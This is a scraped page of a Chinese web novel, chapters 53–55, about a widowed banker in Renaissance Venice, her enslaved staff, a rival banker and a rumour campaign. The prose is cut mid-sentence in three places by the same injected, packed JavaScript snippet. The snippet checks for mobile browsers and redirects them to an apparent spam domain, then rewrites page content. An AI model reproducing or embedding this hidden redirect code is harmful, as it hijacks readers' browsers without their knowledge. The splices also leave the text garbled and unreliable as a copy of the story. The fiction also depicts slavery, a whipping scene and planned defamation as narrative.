RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246642|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兑资金链的运作模式,所幸并没有使好朋友无聊得直接睡着。 “也就是说,你的客户们可以通过你建立的这条线路,随心所欲地把钱汇到佛罗伦萨、罗马、甚至是远在瑞士联邦的苏黎世,而你只需要通过平衡贸易差,并不需要使货币真的在物理层面移动,便可以完成汇款的动作,是吗?” “没错。”莉莉斯笑着把今天吃的第6块奶油小饼塞进自己嘴里。 “并且,你可以在每一次交易中收取手续费赚钱。” “名义上当然不可以,但是我可以用‘市场浮动汇率差’来掩盖掉这一切,同时也可以规避教会法和汇兑商行会的检查。” “莉莉,你真的是天才吧。”索菲亚惊叹道,“你是怎么想出来这么聪明的点子,居然还真的那么快就能将其付诸现实?” “这并不是我原创的想法,很多不同的银行都在做这件事。只不过,大多数业务局限在意大利半岛以内,很少有人会想过要把业务拓展到阿尔卑斯山以北。可能要多亏我嫁了个德国人丈夫,我才正好有渠道可以很快地做到这一点。不过这远远不够。法兰克福、巴黎、安特卫普,还有伦敦,我希望我的银行有一天能够遍布整个有贸易往来的基督教世界,嗯,甚至超出整个基督教世界,把分行开到君士坦丁堡。” “比起你刚刚和我说的这些,我接下来要讲的八卦也显得太蠢了些。” “瞎讲。我最喜欢听这些蠢事了。你快点告诉我吧!” “我们修道院学校里,有个比我们小两岁的女生,叫露娜的,你还记得吗?” “我记得,她很喜欢社交,是个八面玲珑的人。” “她原是个暴发户家的女儿,但父母给她谈了门好亲事,本来要嫁给康达里尼家的一个小辈,家里人也期盼着用这门婚事来跻身进威尼斯的上流社会。” “然后呢?” “然后,这个露娜居然和他们家买来的一个低贱的奴隶私奔了!据说是婚前验身的时候被查出来已经怀上了孩子,跟家里闹得鱼死网破,竟然偷了家里的钱和那个奴隶逃了出去。” “啊?”莉莉斯不知道为什么,听到这里时竟感觉有些汗流浃背。 “可是,威尼斯四面环海,他们怎么可能逃得出去呢?她的父母很快就在卡斯特罗区找到了他们。原来那个奴隶根本没有想和她私奔,而是逼她拿掉了孩子,把她卖去了卡斯特罗的窑子里当妓女。” “最后怎么办?她的家人救了她吗?” “怎么可能?家里的女儿闹出来这么大的丑事,与康达里尼家的婚事也算是黄了。她的父母恨不得赶紧与她摆脱任何关联,将女儿赶紧吊死在绞刑架上。”索菲亚深深地叹了口气,“唉,本就是不好的出生,父母还把她当作阶级跃迁的工具,结果她居然对一个奴隶交了真心,害她被骗得失去了一切,真是太可怜了。” “真是……太可怜了。”莉莉斯倒吸一口冷气,深呼吸使自己平静下来,心中五味杂陈。 索菲亚敏锐地注意到了莉莉斯异样的情绪波动,担心自己不经意间说了什么会令她多想的话,转而补充说道:“嘛,奴隶之类的东西,像我们这种寡妇买来玩一玩儿倒没什么,玩腻了也就丢掉或者转手,又不会动了真的感情。她虽然可怜,却也有自己过于天真被人蒙蔽的责任。” “是啊。”莉莉斯不安地摸了摸戴在无名指上的红宝石戒指,“不过是玩具而已,怎么能当人看呢。” 正当索菲亚打算再说些什么,塔塔突然哭嚎着闯进了索菲亚家的客厅。 53.见不得光的礼物 “塔塔,你怎么了?!”莉莉斯把吱哇乱哭的小女孩搂进自己怀里,抽出手帕为她抹去满脸的泪水。 “海因里希!他,他,他让我滚……” “什么?!”莉莉斯皱了皱眉头。她第一反应是生气,但紧接着,她稍微一细想,便又觉得海因里希不太像是会做出这种事情的人。不过塔塔情绪这么激烈,她很显然不能对此坐视不理。 “看来你是有工作不得不去继续忙了。”索菲亚苦笑着叹了口气,“那我便不留你了。莉莉,你要照顾好自己。等你安顿好了我们再见面。” “谢谢你。”莉莉斯轻轻推开塔塔,站起身与索菲亚拥抱道别。 随后她便乘上贡多拉回家。路上她问塔塔到底是发生了什么,塔塔却又支支吾吾地说不出来,临到家的时候甚至改口说还是不要在海因里希面前提起来了。莉莉斯被整得一头雾水。这段时间她的工作重心全部都在向外拓展上,确实好久没有关注过内部架构管理的问题了。 “塔塔,你实话告诉我,是不是这段时间我不在,克拉拉修女对你比较严厉?以前在学校的时候她连我也凶,现在对你可能不太客气,并不是针对你,只是她性格使然。”莉莉斯摸了摸塔塔的小卷发。 “克拉拉修女确实很严格……但她把银行管理得井井有条,我对她没有什么异议。可是,可是海因里希他……” “你觉得我有些偏心他,对不对?”莉莉斯露出了一个略带歉意的笑容,主动下了个台阶,“可是塔塔,你要意识到一点,我对你们在情感上是一视同仁的,你们每个人都是我重要的伙伴。而海因里希他,在很多方面确实……非常出类拔萃,所以我才会重用他,但这并不意味着你不够优秀。塔塔有独属于自己的闪光点。如果海因里希和塞西莉娅是我的左膀右臂,你就是我的耳目与眼睛。” “真的吗?塔塔一定会继续努力工作,绝对不辜负您的期待!”塔塔听到了女主人的夸奖,突然睁大了眼睛,害羞地从腰包里掏出来一个小布袋,“哦对了,刚刚在码头上人太多了,我不好意思拿出来……您不在的这段时间,我给您准备了一个小礼物。是我亲手做的蕾丝钩花手链。您的手有细又长,戴在上面一定特别好看!” “哇!谢谢你,塔塔,我非常喜欢。”莉莉斯欣慰地打开袋子,将那条用银白色与粉色编制的手链戴在自己手上。精致的蕾丝上钩的是与“莉莉安娜”的名字所对应的百合花图案,只不过盖在丧服的黑纱下面,却显得有些格格不入了。 “您喜欢就好……” “我也给你准备了礼物,是镶嵌了珍珠贝母的头绳。”莉莉斯笑着说道,“只不过我收在海因里希的包里了。等回家之后有空了,我来帮你扎辫子好不好?我还记得你小时候刚被我买回来的时候头发像男孩子一样短,现在终于长长了,可以扎各种漂亮的辫子了。” “好呀好呀!谢谢夫人!”塔塔笑得高兴极了,刚想再说些什么,就被船靠岸时的颠簸打断。她转过头正打算上岸,就看见海因里希站在码头上,脸瞬间就黑了。 “海因里希,听说你刚回来就对你的老前辈出言不逊?”莉莉斯握住他的手,踩上家门口的码头,送给他一个意味不明的眼神。 “是啊,我没有伺候好塔塔小姐。”海因里希一边压低眉毛一边睁大眼睛,假装不经意间露出一幅楚楚可怜的神情,“她特意来亲口告诉过我,在她开始为您工作的时候,我还在奴隶岛上的不知道哪个笼子里没人来买呢。” “什么?”莉莉斯脸色瞬间黑了下来,“塔塔,你确实说过这样的话吗?” “那……那是因为他先对我出言不逊!” “他说了什么?” “他用很轻蔑的语气,高高在上地命令我帮他做些他不愿意做的脏活累活!还说我不想做的话就滚!”塔塔害怕地揪住莉莉斯的裙摆躲在她身后,不敢直视海因里希的眼睛。 “确有其事吗,海因里希?” “我确实给她安排了清点货物的工作,然后就得到了塔塔小姐的羞辱。”海因里希游刃有余地对上塔塔躲闪的目光,从公文包里抽出文件递给她犹疑不决的女主人,“但我还是把工作完成了。夫人,这是我合验过后的货物清单。” “哦。”莉莉斯接过清单后粗略浏览了一下,似乎对他的回答很满意,“海因里希,这次是你不好。你以后说话的时候注意点,不要再伤了塔塔的心。给她道个歉吧,同事之间需要好好相处。要是她再来找我告状,我绝不会轻饶你。” “夫人!?”塔塔见莉莉斯打算就这么把事情揭过去,委屈地扯了扯她的袖管。 “塔塔,虽然我心里是向着你的,但是海因里希在职级上确实有给你安排工作的权限。为了我们的工作能够顺利开展,大家以后还得继续合作才行。陪我去楼上换身薄一点的裙子,既然我们现在都有空了,不如趁下班时间之前去银行里开个组会吧。” 塔塔注意到莉莉斯友善的微笑中已经夹进去了一丝公事公办的冷漠。她意识到自己不应该继续无理取闹了。夫人看中工作结果也无可厚非。可是莉莉斯在她眼中从来都不只是她的老板,还是她非常重要的家人——但那个曾经温馨而美好的家庭却随着银行的成立与业务的极速扩张而变成了冰冷的职级架构,变得面目全非。 她怀念着上次和莉莉斯、塞西莉娅还有伊万卡大家聚在一起有说有笑的日子,好像还是复活节假期时聚在一起包饺子,距今已经过去了整整两个月,居然已经是那么久以前的事了。毕竟自从海因里希被买回来之后,夫人就像是变了一个人一样。工作,工作,永远在工作,再也没有时间和她们一起轻松愉快地玩了。 海因里希,海因里希,整场会议莉莉斯都在不断提到海因里希,说到车队遇难时海因里希临危不乱,说到古堡迷途时海因里希处变不惊,说到了苏黎世之后他写的广告语有多么幽默动人……塔塔听得心烦意乱,几乎无法集中精神。 从前莉莉斯困于没有家中的资助与私生女的身份,不得不自己工作来换取生活的保障和便利。可是她现在已经那么有钱了——不仅是塔塔,连着同样坐在会议桌前的克拉拉和威廉也被莉莉斯这次在旅途中募集到的资金量之大吓了一跳。 可是莉莉斯毫不满足。她正在心潮澎湃地演说着,要把分行开到巴黎、开到伦敦、开到君士坦丁堡。她要吸引更多的客户,不仅是闺阁少女、不仅是行路商人,还有威尼斯乃至整个欧洲的上流社会。她有信心能够给客户提供最好的,个性化的金融服务,她要让克纳罗银行统领整个意大利的资本世界。 为什么?为什么要这么做呢?她到底想要什么? 塔塔无法理解,也不知道该怎么办。但她开始怀疑自己的自作主张是不是做错了…… “塔塔。你在听吗?”莉莉斯突然点了塔塔的名字,把她从飘散的思绪中拉回到现实。 “夫人!我在听。” “我正说到重要的部分呢。介于我和海因里希都在旅途中遇到了不止一次人身安全威胁,我们以后哪怕是在威尼斯也必须要加强防范了。” 莉莉斯轻轻叹了一口气。塔塔这样子心不在焉下去也不是办法。看来她真的得稍微重视一下这个同事间和谐相处的问题了。幸好海因里希的状态没有任何异常,与往常一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246643|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样工作得十分认真卖力。但这也是他应该做的。 散会之后,莉莉斯找克拉拉修女与威廉分别单独询问了一下塔塔在她出差期间的工作状态。克拉拉的评价是塔塔虽然偶有粗心,但总体来说工作得很卖力;威廉则支支吾吾,车轱辘似地说些好话。莉莉斯还是有些不放心,便在回到家用晚餐后到厨房中找到正在洗碗的伊万卡,询问她塔塔这段时间是否有什么异常。 “没什么异常。嗯,或许只是,经常出门吧?”伊万卡戴上了莉莉斯在旅途中为她新买的蝴蝶结发带,轻声细语地回应道,“不过她一向是有很多朋友的。这也不能算什么。” “她都和些什么人交往?” “这我就不清楚了。天南地北的人都能和她处得来,或许这就是她打探到最一手消息的独门秘技吧。” 莉莉斯沉默了。或许只是因为塔塔年纪比较小,需要她给到多一些关注吧。可是莉莉斯每天需要忙工作的事就已经很累了,如果还要专门抽空关注每一个人的情绪,实在是有些分身乏术。 “夫人。”海因里希端着烛台,从走廊里探出一个头来,“热水已经准备好了。您可以随时去沐浴。” “好。” 莉莉斯站起身,随着海因里希一起上楼。她的脑海中突然浮现出索菲亚说给她听的那个故事,又想起她在旅行中与海因里希的那些或许是过于亲密的接触,顿时觉得有些尴尬。 她甚至开始犹豫到底要不要把那个准备好的礼物送给他了。可是之前已经做好的承诺,她总又不能言而无信。她不断说服自己,那只是因为海因里希实在是太好用,太可靠了。主人奖励格外优秀的仆人完全合乎情理。传说中土耳其苏丹养的猫还每天佩戴镶嵌宝石的金项链呢,那么莉莉斯给自己养的狗送一次名贵的礼物也无可厚非。 “夫人,您还在因为塔塔的事怪我吗?”海因里希试探性地问,为莉莉斯打开卧室的门。房间里点着她熟悉的香氛,朦胧的烛光照亮新换洗过的床单被褥,化妆台前的花瓶里插着新鲜的百合与玫瑰。 “对。”莉莉斯故意撒了个谎,“你都多大个人了,和她一个小女孩有什么好置气的?罔顾我对你的信任。” “夫人……”海因里希又一次摆出了那幅楚楚可怜的表情单膝跪在莉莉斯面前,这招太好用了,屡试不爽,“我知道错了。以后绝不会再让您因为这种琐事烦心。” “好了,我不生气了。过来拿礼物。”莉莉斯转过身,在梳妆台前坐下,打开上了锁的抽屉,从里面掏出一个首饰盒,打开在海因里希的面前。 里面静静地躺着本应该属于她丈夫的那枚蓝宝石婚戒。 “……?”海因里希呆住了,难以置信地看着莉莉斯握住他的左手,将那枚本属于他的戒指套在他的食指上。璀璨的蓝宝石在烛光下折射出静谧而讳莫如深的色彩。 “我不能收这么贵重的礼物,这是您丈夫的遗物。” “放心吧,我问过他了,他说没问题。”莉莉斯略带不耐烦地瞥了一眼那幅蒙着白布的油画,“算是提前送你生日礼物了,也是为了感谢你这次旅程中数次以身涉险的辛苦。” “别人看见了会议论您的。”海因里希担忧地将戒指摘了下来,“而且这太贵重了,我……” “给你的你就收着。你再拒绝我就生气了。”莉莉斯皱起了眉头,“虽然是送给你了,但是你必须好好收着,不许卖掉,更不许转赠。如果实在不想让人看见,就找个绳子穿起来挂在脖子上。” “……好。”海因里希把戒指紧紧握在手心里。正当他打算再说些什么的时候,他听见有人敲响了房门。 54.宠物的项圈 “什么事?”莉莉斯隔着门发问。海因里希走到门边,在获得莉莉斯的允准后打开门。 “是康达里尼先生,他听闻夫人今日回城,差人送来了这个,要我务必立刻交给您。”塔塔一边说着,一边偷偷张望了一番莉莉斯的房间。她手里正端着一个做工精巧的布面盒子。 “又来。”莉莉斯皱眉,原想直接让塔塔把那盒东西丢出去,想起来她和洛伦佐还有未兑付的保险合同在,还不能完全撕破脸,只好咽着一肚子气让塔塔把盒子放在她的书桌上。 打开后首先看到的是一封信。莉莉斯用桌上的开信刀暴力地割开火漆,洛伦佐华丽的花体字迹写在刻印了家纹的定制纸张上,墨水里似乎混了金粉,倒是比之前寄去苏黎世的那封要精致多了。信中不痛不痒地问候了一番,多是废话,一句有关理赔的正事也没提。莉莉斯轻轻掠过一眼便丢在一边。 她继续开盒子,第二层是棉花垫起来的软夹层,里面放着一对雕花的银质手镯。莉莉斯把拿镯子捏在手里睨了一眼,突然狠狠丢在地上,磕得镯子立刻变了形。 “夫人……?您不喜欢银色的镯子吗……”塔塔大惊失色,完全不理解女主人突然发怒的原因。她想到自己用了银线编织的手链,不会其实也悖了夫人的心意吧? “如果是别人送的,我还能说这或许是无心之失。”莉莉斯的眼中满是怒火,说话的声音却平静而克制,“可若是洛伦佐那只老狐狸,我便只能解读成别有用心了。他究竟是在向我下战书,还是想试探一下我是不是个傻子?” “或许两者皆有吧。”海因里希弯下腰,将莉莉斯丢在地上的镯子捡回来。 “看着就晦气,还不如拿去铸币厂给我熔成等价的银币。”莉莉斯没好气地招呼海因里希把手镯连带着盒子一起拿走远离她的视线。 “为什么?”塔塔仍旧没有参透其中的道理。 “银手镯这玩意儿,他如果送我一只也就算了,送我一对,那不明摆着是想送我进监狱的意思吗?手铐,懂了吗?”莉莉斯的语气中透着些不耐烦,“最近这段时间大家都小心些吧,免得被他抓到了什么把柄。” “遵命。” “真是烦死了。明天一早还得去跟他见面,就为了些保险理赔的破事扯皮。”莉莉斯气鼓鼓地下逐客令,“你们都回去休息吧。晚安。” “夫人晚安。” 塔塔悻悻地瞥了一眼海因里希,见对方面无表情,一幅对夫人的怒气已经习以为常的派头,心中很不是滋味。明明是她陪伴夫人的时间更久,为什么却是海因里希更懂得怎么哄她开心? 忽然,塔塔发觉自己面前闪过一抹耀目的火彩。她的目光迅速地被那道强光所吸引,聚焦在海因里希握着盒子的手心。她看见了一颗巨大的,成色极好的蓝宝石,是本属于莉莉斯丈夫的那枚蓝宝石。 / 第二天一早,莉莉斯按照事前在信件中商量好的安排拜访了康达里尼银行。说是拜访,其实也不过就是带着文件、伴手礼和海因里希一起穿过广场,走到克纳罗银行正对面的那条街上。洛伦佐当天并不在场,据说是出发去了佛罗伦萨出差,所以是他手下的人接待了莉莉斯,因此整个流程比她原本想象得要顺利一些,但也没有顺利太多,还是免不了得根据条款细则扯皮。幸好法院距离他们的位置也不远,莉莉斯一通起诉威胁之下,对方也不敢拖欠抵赖,只能按照合同的细则好好办事了。 只不过,当她办完事从银行门口出来的时候,听到有小商贩和群众聚在广场中央的喷泉旁边对她挤眉弄眼、议论纷纷。 “那就是放贷的莉莉斯和她养的小白脸?丈夫的尸骨都还没凉透,她就这样大摇大摆地带着男宠招摇过市,真是不知廉耻!” “我就说吧,只要我带着你去旅行,就算我们其实什么都没发生,也绝对会被人嚼舌根。”莉莉斯笑着踮起脚尖,在海因里希的耳边窃窃私语,“我要是在意他们的闲话,早就被气死了。” 海因里希什么也没说,只是继续竖着耳朵听。 “可是她银行不是开得很大吗,听说康达里尼家的洛伦佐大少爷向她求婚,她都拒绝了!” “你懂什么,她不接受求婚,只是为了继续过放浪不羁的生活罢了!她能有什么能耐,要不是她身后的那个男人为她鞍前马后,她怎么可能做得成现在这番事业?女人当家不过是他们哗众取宠的营销策略!” “也是,一个女人家哪懂得银行怎么运作?不过都是些噱头罢了!等哪天要是有人开出更高的价格把她手下的人挖走了,看她还嚣张个什么劲儿!” 海因里希偏过头主动去观察莉莉斯的反应,发现此时此刻他的女主人已然脸色铁青。 “还是别听了吧。”莉莉斯深呼吸一口气,“工作要紧,工作要紧。工作要紧。不行我听不下去了我们必须得做点什么。” “您不是说不要在意他们的话吗?”海因里希忍不住笑了笑。 “传我的绯闻和质疑我的能力是一回事吗?”莉莉斯对他翻了个白眼,“前者说不定能给我们增加曝光,而后者只会影响到我们银行的信誉度。” 她快步走回银行,带着海因里希回到自己的办公室,顺便叫上了塔塔,让她一起出主意。 “你们知道如何阻止流言传播吗?”莉莉斯双手撑在书桌上,严阵以待地问。 “或许是一次澄清?”塔塔怯生生地回答。自从在夫人面前一次又一次说错了话,她竟有些害怕去表达自己的想法了。 “不,那样只会越抹越黑。毛罗的事情算是让我认清楚了。流言只会止步于更大,更刺激的流言。当初毛罗指控我是妓女,是女巫,我搬出再多的证据都不足以使人信服。但当你点出了他是因为欠钱不还因此才要构陷我之后,局面则立刻逆转了。人们需要一些什么别的东西来干扰他们的注意力。” “您说,您听到的那些话,会不会是洛伦佐主动放出去的流言?”海因里希问。 “很有可能。毕竟若是抹黑了我这个竞争对手,给我造成了什么损失,对他都很有利。他巴不得让我被流言烦得精神崩溃之后去找他来‘英雄救美’。可是我绝对不会遂了他的意。他不是喜欢传我和海因里希的绯闻吗?那我也来传一下他的绯闻好了。塔塔,去查查他最信任的侍女叫什么名字……哦不,不要侍女,要男的,侍从也好,会计师也行,得是个男的,就说他们举止亲密,宛如做了夫妻一般!” “噗。”海因里希忍不住被逗笑了。塔塔却紧紧皱着眉。 “哦对,再加上一条,就说放贷的莉莉斯之所以拒绝他,其实是因为他跟好几个男人不清不楚,怀疑他根本就不喜欢女人。”莉莉斯得意地笑着,继续添油加醋。 “夫人,我们这样抹黑他会不会不太好?您昨天还说要我们小心些,别被他抓到了把柄……”塔塔小心翼翼地说,声音很轻,却还是坚持鼓起勇气说出了口,“万一他发现是我们传出去的怎么办?” “只要他抓不到任何证据,便没办法往我们头上扣黑锅。要是他亲自出来要澄清这件事,那在民众的心中便是真正坐实了谣言。不过你说得对,这件事得做得小心一些。你可以做到吗?有压力的话,交给海因里希去办也行。” “我做得到!”塔塔抢答道,“包在我身上。” “很好。我相信你。”莉莉斯露出满意的笑容,“那么你先去忙吧,海因里希,你去接着为我读信。” “遵命。” 自从汇兑业务开始落地,莉莉斯每天有大量的工作都是围绕着信件与计算展开的。读信-计算-回信的流程被她拆开。所有信件由海因里希初步阅览,挑出需要做计算的移交给威廉进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259789|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行初步计算,然后交由克拉拉修女审核,莉莉斯批复回信,由塔塔出门进行交易或者送走信件,最后闭市之后海因里希进行记账,以确保每日账面平衡。 除了为现有的客户提供服务和面对流言的危机公关以外,拓客拉新的工作也不能停歇。莉莉斯还得在营业结束后立刻回家穿衣打扮一番去参加各种社交舞会。在这点上,寡妇的身份为她提供了许多便利。她不会像未婚少女一样被当作潜在的婚姻资源挑挑拣拣,也不会受制于丈夫的管辖无法和人自由自在地交流。 秉持着与闲言碎语硬刚到底的态度,莉莉斯仍旧带着海因里希出席宴会。其实也是因为塞西莉娅还没回来,莉莉斯也实在没有更好的人选。克拉拉身为修女不适合出席,威廉她根本不熟,塔塔虽然能干但不熟悉上流社会的社交礼仪,而伊万卡最主要的任务则是守护小金库的安保工作,非必要都不会离开家。 有些贵族小姐不知从哪里的流言中听闻了海因里希的又好看又能干的美名,纷纷聚过来想凑个热闹,凑着凑着便被莉莉斯忽悠着全在她的银行中注册了储蓄账户。 结束了一天的工作后,莉莉斯下船回到家门口,累得已经快要站不稳了。参加社交舞会完全是体力活,要站着走动跳舞数个小时毫无休息,一些小点心和葡萄酒根本就不填肚子。 “要我抱您上楼吗?”海因里希张开双臂,贴在莉莉斯的耳边问她。 “不要。我要去吃伊万卡做的夜宵。” “好,那我去为您布置房间。” 莉莉斯踢掉不算磨脚但穿久了仍旧很累的皮鞋,换上舒服的鞋子去觅食,顺便和伊万卡吐槽了一番今天遇到的糟心事。等她回到卧室门口的时候夜已经很深。她推开门,看见海因里希穿着一身单衣跪在自己面前,双手捧着莉莉斯的黑色马鞭。 “主人。”海因里希抬起头,用期待的目光仰望她,“请您惩罚我。” “我今天没心情。”莉莉斯只是看了一眼,便被海因里希那双水汪汪的蓝眼睛吸走了注意力,不由自主地感到兴奋起来。但她仍旧装出豪不在意的样子,刻意不去看他,绕过他直接往梳妆台前走去,坐在镜子前梳理头发。 “主人,求求您,求求您惩罚我。” 莉莉斯权当没听见,看都不看他一眼。海因里希只好把鞭子含在嘴里,像狗一样四肢并用地爬到莉莉斯身边蹭她的小腿,发出呜嘤呜嘤的声音。此时莉莉斯便实在没有办法忽视这个跪在她脚边的烦人精了。于是她伸出手,勾住那条被海因里希藏在衬衫里的、挂着蓝宝石戒指的项链,用项链紧紧勒住他的脖子,然后猛地抽起鞭子,往他身上狠狠打下去。 “这就是你想要的吗?告诉我,我为什么要惩罚你?” “我让您受到了流言的侵扰。”海因里希宽阔的肩膀随着遭受痛击而猛地一颤,“我让您烦心了。” “要是他们知道所谓‘放贷的莉莉斯’背后的‘男人’其实是这样一条向女主人摇尾乞怜的狗,他们会说什么样的话呢?” 话音刚落,又一记鞭子便落在了海因里希的胳膊上。 “要是那些围在你身边的贵族小姐看到你叼着鞭子求我虐待你的样子,她们还会赞美你吗?” “不会的,主人,他们会厌弃我,而我就只有主人您能接受我。” “你果然还是跪着的时候最顺眼。”莉莉斯突然捏住了他的下巴,仔细打量海因里希那张俊俏的脸蛋,忽而流露出一丝悲伤的神情,“真想干脆把你关起来,让你做我一个人的宠物,只做我的宠物,你的脸也只有我可以看。但是不行,我还得让你为我去做别的事,很麻烦,很辛苦的事。我累了,海因里希,今天到此为止吧。” “遵命,夫人。”海因里希识相地站起身。 “谢谢你,海因里希。好好休息,明天继续努力。” 55.未点燃的烟花 莉莉斯收到信件得知塞西莉娅和埃莱娜姑姑要一同从罗马回来的时候已经是六月下旬了。 在七月的第一个星期一,她亲自撑着伞站在码头上等船开进港口,旁边跟着一个她新雇的女佣人。海因里希和塔塔都忙着银行的核心工作抽不开时间,她不得不把保镖与随从这种可替代性更高的工作交给新人。 夏日的阳光灿烂无比,把潋滟的水光都染成了炫目的金色。虽说威尼斯紧挨着大海,有海风吹拂不至于酷暑难耐,但人们还是纷纷换上了轻薄透气的浅色衣服。 莉莉斯恪守着半年丧期的规矩穿着黑裙子,只是把长长的红发挽成发髻,黑纱也换成了短款。罗马地处意大利中部,据说比北方的威尼斯还要更热一些,不知道塞西莉娅能习惯得了吗?距离上次在码头分别竟已经过去了近三个月,现在的莉莉斯与三个月前的她也早就今非昔比了。 当比安奇夫人来提前归还她在三月份时向莉莉斯贷款的本金与利息时,莉莉斯几乎都要记不得自己从前还做过这种利润只有个位数杜卡特的小生意。如今她的每日资产负债表里动辄是数千,甚至上万杜卡特的交易,而比安奇夫人偿还的那5枚金币的利息,则更像是一笔会被抹去的零头,像是汇入大海中的水滴般渺小。 她又等了一会儿,看到远处海平面上驶过来的船只桅杆上高高挂起了绘制着克纳罗家族盾徽的旗帜。她赶紧从手包里掏出小镜子整理了一下妆容与额发,顺便检查了一下送个埃莱娜与塞西莉娅的礼物都已经带好。她给埃莱娜定制了一串质量极好的珍珠项链,为塞西莉娅准备的则是特意委托东方商人买来的点翠发饰。 船刚刚停靠到岸,她便看见甲板上走出来一个穿着橙红色衣服的女人,她知道那是埃莱娜姑姑,连忙伸开双臂,与埃莱娜拥抱致意。 “姑姑,您还好吗?此行辛苦了。”尽管已经在信件中陈述过近期银行的发展成果,莉莉斯在面对埃莱娜的时候还是免不了透露出一些小朋友见家长时的紧张与局促,却又带着一种获了好成绩的骄傲与志得意满,“这是我给您准备的礼物。” “你也辛苦了,莉莉。谢谢你的礼物。”埃莱娜笑着摸了摸她的头发,“这么久不见,我们莉莉现在已经是优秀的银行家了。” “哪里哪里,多亏了姑姑一路指导提携。”莉莉斯害羞地红了脸,“诶,塞西莉娅呢?怎么没见到她人。” “你放心,塞西莉娅还得留在罗马一段时间。她现在是咱们罗马分行的分行行长。但是别担心,我知道你们主仆情深,再让她历练一段时间我们就召她回来。” “这样啊……”莉莉斯心中五味杂陈。她一方面为埃莱娜看中塞西莉娅,愿意着重培养她而感到欣慰,一方面又难免失落。 塞西莉娅毕竟是她从家中独立出来后买下的第一个奴隶,也是陪伴了她最久的一个亲密无间的朋友。尽管知道这只是暂时的分别,但莉莉斯还是无法避免为之感到难过,只能尽量压抑情感,让自己不要喜怒形于色。 “这大概是我这次给你带回来的唯一一个‘坏消息’,剩下来的全是好消息。罗马分行的建立很成功,我们募集到的资金量不亚于你在苏黎世所募集到的数额。最关键的是,我们的事业得到了一位枢机主教的赏识。” “我的上帝。”莉莉斯惊叹道。讶异与喜悦立刻席卷了她的内心,将不得不与塞西莉娅暂别的苦楚迅速驱散。 “外面太热了,我先回家休整一番,晚上再到你那边跟你详谈。我还等着你跟我仔细解释解释你说的‘未来合约’是怎么回事呢。” “好的!好的,那我先不打扰您了!我会在家等着您的。” 与姑姑告别后,莉莉斯边往回银行的路上走,边默默消化着埃莱娜方才轻飘飘两句话中的巨大信息量。得到了枢机主教的赏识是什么意思?是他要成为我们的客户,还是说他会为我们的业务亮起免死金牌,一笔勾销银行家作为“放贷者”的罪名? 也就在三个多月前,她还被自己的亲哥哥指控为女巫,还不得不靠着抓住主教的把柄来获得营业执照;而现在她一手打造的银行却已经与远在罗马的枢机主教攀上了关系。这简直就像是在做梦一样令人难以置信。阳光晒得莉莉斯晕乎乎的,有些飘飘然。 她收起伞回到银行,看见海因里希正带着几个新招进来的员工有条不紊地处理工作,塔塔在整理今天市场上最新的大宗商品价格表,威廉忙着处理计算,而克拉拉修女正带着几个修道院学校的女孩子参观她们的银行。 代班结束后,克拉拉很快就要回到修道院学校继续教书了。不过莉莉斯倒是欢迎她时常回来看看,也可以带着学校里的小女孩们来学习参观。 那都是些不过十四五岁的小女孩,已经是即将要出嫁的年纪。而莉莉斯其实只比她们大三四岁而已,却总觉得已经离她们非常非常远。能有机会被送进这种学校的,大多是些名门世家的嫡女。对于这种出生的女孩子来说,参与工作是一件极不体面的事情,寻一位门当户对的好丈夫才是家长眼中合适的归宿。 尽管她们会像当时的莉莉斯一样,在出嫁时拿到好大的一笔嫁妆,但这笔钱将成为她们这辈子唯一的一笔私人财产,还往往逃不过被夫家蚕食的命运,再也没有升值的可能。 可莉莉斯的事业却改变了这一切。她使这些女孩子能有机会守住这笔财产,并通过不同的投资组合来创造更多价值。她使得她们可以了解到资产管理与复式记账,使得她们出嫁成为主母后不会受人蒙蔽。她还使得她们看见了另外一种可能,一种女人不用相夫教子,不用依靠男人,自己独立生活的可能。只要她们有勇气为之努力与奋斗,说不定也可以过上这样的人生。 毕竟像这样生活的人远远不止莉莉斯一个。没过多久,莉莉斯就再一次来到了威尼斯最大的码头,迎接到了一位她多次写信盛情邀请来威尼斯见面的好朋友,伊索尔德·阿尔塔伯爵夫人。 接下来的几天里,除了面对不断增长的帐目、数不清的金币、信件与计算的时间,莉莉斯都是在奶油蛋糕、白葡萄酒、海鲜拼盘、裙摆与舞鞋中度过的。 为了庆祝伊索尔德的到来,她借用了克纳罗主家的宫殿连着举办了三场盛大的舞会,带着伊索尔德认识了索菲亚,还有其他一些她上学时的朋友。伊索尔德则给莉莉斯带来了好多她新研制的护肤品与化妆水,还有莉莉斯吃过后念念不忘的本地产干酪。 舞会结束之后,伊索尔德就住在莉莉斯的家里。正好塞西莉娅的房间空着没人住,莉莉斯便让伊万卡捯饬了一番,新添了些家具作为伊索尔德暂住的卧房。但是由于两人总是躺在一张床上聊天到深夜,伊索尔德并不怎么常回自己的房间。 